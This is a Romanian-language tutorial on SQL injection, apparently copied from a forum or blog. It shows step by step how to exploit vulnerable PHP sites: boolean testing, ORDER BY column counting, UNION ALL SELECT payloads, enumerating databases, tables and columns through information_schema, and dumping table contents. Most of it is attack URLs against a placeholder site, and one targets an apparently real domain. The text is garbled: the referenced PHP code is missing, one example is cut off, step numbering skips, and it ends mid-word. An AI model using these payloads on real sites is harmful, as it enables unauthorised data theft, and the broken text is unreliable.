Ce este SQL Injection?
SQL Inection este o
metodă prin
care se pot exploata
siteurile
vulnerabile la SQL.
Cum apare vulnerabilitatea
SQL?
Să consideram urmatorul
cod
PHP:
Vulnerabilitatea apare cănd
injectăm query-uri SQL in
“id”.
De ex: id=”1 AND 1=2″
vom avea
ca query:
?1 "SELECT * FROM table
WHERE
id=1 AND 1=2"
Acest query va returna 0
rezultate find afirmatia
logica
falsa TRUE AND FALSE =
FALSE.
Exploatarea vulnerabilităţii:
1. Testarea vulnerabilităţii
Testam cu afirmaţii TRUE şi
FALSE.
Daca pagina nu se modifică
la
TRUE şi se modifică la
FALSE
atunci e vulnerabil.
De exemplu:
http://
www.sitevulnerabil.com/
index.php?id=1 AND 1=1
=>
TRUE
http://
www.sitevulnerabil.com/
index.php?id=1 AND 1=2
=>
FALSE
2. Aflarea coloanelor din
tabelul
curent:
Cu sintaxa “ORDER BY
X” (ordonează după
coloana X)
putem afla numărul de
coloane
prin marirea numărului X.
ORDER BY 1, ORDER BY 2,
… până
când pagina se modifică.
Exemplu:
http://
www.sitevulnerabil.com/
index.php?id=1 ORDER BY
1 =>
OK
http://
www.sitevulnerabil.com/
index.php?id=1 ORDER BY
2 =>
OK
http://
www.sitevulnerabil.com/
index.php?id=1 ORDER BY
3 =>
OK
http://
www.sitevulnerabil.com/
index.php?id=1 ORDER BY
4 =>
EROARE
3. Aflarea coloanei
vulnerabile:
Unin coloanele cu sintaxa
urmatoare: “UNION ALL
SELECT
1,2,…,n”, unde “n” este
numărul
de coloane.
Uneori e nevoie şi de o
afirmatie
FALSE: “AND 1=2 UNION
ALL
SELECT 1,2,…,n”.
Pe site va apărea un număr
(sau
mai multe, depinde de
afisare
datelor din DB) dintre cele
scrise
mai sus. Aceea este
coloana
vulnerabila.
4. Variabile şi funcţii
importante
Sunt multe variabile, şi
funcţii in
SQL ca de exemplu:
1
2
3
4 @@version =>
Versiunea Baze-i de date
database() => Baza de
date
curentă
user() => Userul curent
concat(), group_concat()
=>
Uneşte mai multe variabile.
(de
ex: concat("Ne",
Pentru a merge mai
departe, să
presupunem că sunt 3
coloane,
si coloana a 2-a e afişată, e
vulnerabila.
5. Aflarea versiunii, bazei
de
date-, şi userului curent:
Variabilele amintite mai sus
vom
scrie în locul coloanei
vulnerabile.
Unirea coloanelor:
http://
www.sitevulnerabil.com/
index.php?id=1AND
1=NULL
UNION ALL SELECT 1,2,3
Cu variabile:
http://
www.sitevulnerabil.com/
index.php?id=1 AND
1=NULL
UNION ALL SELECT 1,@@
version,3 => Va returna
versiunea
http://
www.sitevulnerabil.com/
index.php?id=1 AND
1=NULL
UNION ALL SELECT
1,database(),3
=> Va returna baza de
date
Ex:
http://www.anysoara.com/
file.php?id=1 AND
1=NULL
UNION ALL SELECT
1,database()
,3,4,5,6,7,8,9,10,11,12,13,14
Aflarea informaţiilor din
information_schema (doar
versiunea >= 5, la restul
trebuie
ghicit tot)
6. Aflarea altor baze de
date:
Bazele de date sunt
memorate în
information_schema.schemata
coloana care ne
interesează este
schema_name
Le vom afişa în felul
următor:
http://
www.sitevulnerabil.com/
index.php?id=1 AND
1=NULL
UNION ALL SELECT
1,group_concat
(table_name),3 FROM
information_schema.tables
8. Aflarea coloanelor dintr-
un
tabel:
Coloanele sunt memorate
în
information_schema.columns
Coloanele care ne
interesează
sunt column_name şi
table_name
In plus vom avea nevoie
de
Hexadecimalul numelui de
tabel
Le vom afişa în felul
următor:
http://
www.sitevulnerabil.com/
index.php?id=1 AND
1=NULL
UNION ALL SELECT
1,group_concat
(column_name),3 FROM
information_schema.columns
WHERE table_
name=0xhexadecima
9. Scoaterea datelor din
tabel:
Să presupunem ca am aflat
tabelul, şi coloanele din
acesta
http://
www.sitevulnerabil.com/
index.php?id=1 AND
1=NULL
UNION ALL SELECT
1,group_concat
(coloana1,0x3a,coloana2,..),3
FROM tabel
PENTRU ALTE
INFORMAŢII
ANALIZAŢI STRUCTURA
BAZEI DE
DATE
“INFORMATION_SCHEM